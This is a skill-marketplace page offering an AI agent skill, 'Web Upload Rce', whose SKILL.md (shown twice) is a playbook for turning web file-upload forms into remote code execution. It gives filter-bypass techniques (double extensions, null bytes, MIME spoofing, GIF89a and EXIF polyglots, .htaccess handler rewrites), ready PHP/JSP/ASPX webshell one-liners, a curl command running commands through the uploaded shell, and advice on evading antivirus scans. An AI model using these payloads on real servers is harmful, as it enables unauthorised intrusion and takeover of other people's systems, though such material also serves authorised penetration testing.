How do I install the Web Upload Rce skill?

Run npx skillmds@latest add s0ld13rr/web-upload-rce in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Upload Rce safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Upload Rce?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Upload Rce free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Upload Rce?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Upload Rce by s0ld13rr — Agent Skill

Name: Web Upload Rce
Rating: 4.666666666666667 (3 reviews)
Author: s0ld13rr

Web Upload Rce

File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name/type/content, or find where uploads land. Triggers - multipart upload form, avatar/profile picture, import/attachment, "invalid file type", uploaded file URL, /uploads/ path.

s0ld13rr Updated Sep 22, 2026

File contents

File Upload → RCE

When this fires

Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.

Detect

Upload a benign file, find WHERE it lands (response URL, predictable /uploads/<name>, guess via ffuf).
Probe the filter: try .php, .phtml, .php5, .phar, .jsp, .aspx — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).

Decide — which bypass

Extension blocklist → .phtml/.php5/.phar/.pht; double shell.php.jpg; trailing shell.php%00.jpg (old); case shell.PHP; .php. (Apache).
MIME check only → keep .php, set Content-Type: image/png.
Magic-byte/content check → prepend GIF89a; or valid image header, then PHP: GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg).
Server config writable → upload .htaccess (AddType application/x-httpd-php .jpg) then a .jpg webshell.
SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (../../) to write outside the upload dir.

Exploit → PROVE IMPACT

# minimal webshells
echo '<?php system($_GET["c"]); ?>' > shell.phtml     # PHP
# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %>   ASPX: Process.Start("cmd","/c "+Request["c"])
curl 'http://<t>/uploads/shell.phtml?c=id'             # execute → prove

Proof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.

Tooling

ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.

False positives / pitfalls

Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
Antivirus/content scan strips shells → try polyglot + less-common handler extension.
Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.

---name: web-upload-rcedescription: File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name/type/content, or find where uploads land. Triggers - multipart upload form, avatar/profile picture, import/attachment, "invalid file type", uploaded file URL, /uploads/ path.---# File Upload → RCE## When this firesAny upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.## Detect1. Upload a benign file, find WHERE it lands (response URL, predictable `/uploads/<name>`, guess via ffuf).2. Probe the filter: try `.php`, `.phtml`, `.php5`, `.phar`, `.jsp`, `.aspx` — note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).## Decide — which bypass- **Extension blocklist** → `.phtml`/`.php5`/`.phar`/`.pht`; double `shell.php.jpg`; trailing `shell.php%00.jpg` (old); case `shell.PHP`; `.php.` (Apache).- **MIME check only** → keep `.php`, set `Content-Type: image/png`.- **Magic-byte/content check** → prepend `GIF89a;` or valid image header, then PHP: `GIF89a;<?php system($_GET['c']); ?>`. Or embed in EXIF (`exiftool -Comment='<?php ...?>' x.jpg`).- **Server config writable** → upload `.htaccess` (`AddType application/x-httpd-php .jpg`) then a `.jpg` webshell.- **SVG/XML upload** → stored XSS or XXE (see web-xxe). **Zip/import** → path traversal (`../../`) to write outside the upload dir.## Exploit → PROVE IMPACT```bash# minimal webshellsecho '<?php system($_GET["c"]); ?>' > shell.phtml # PHP# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %> ASPX: Process.Start("cmd","/c "+Request["c"])curl 'http://<t>/uploads/shell.phtml?c=id' # execute → prove```**Proof required:** `id`/`whoami` from the uploaded shell (RCE). Then upgrade to a stable shell / `record_artifact`; drop markers where the engagement requires.## Tooling`ffuf` to locate the upload dir; `exiftool` for magic-byte polyglots; `nuclei -tags fileupload`. Feed dir-discovery to `gobuster_parse`.## False positives / pitfalls- Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.- Antivirus/content scan strips shells → try polyglot + less-common handler extension.- Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.

Frequently asked questions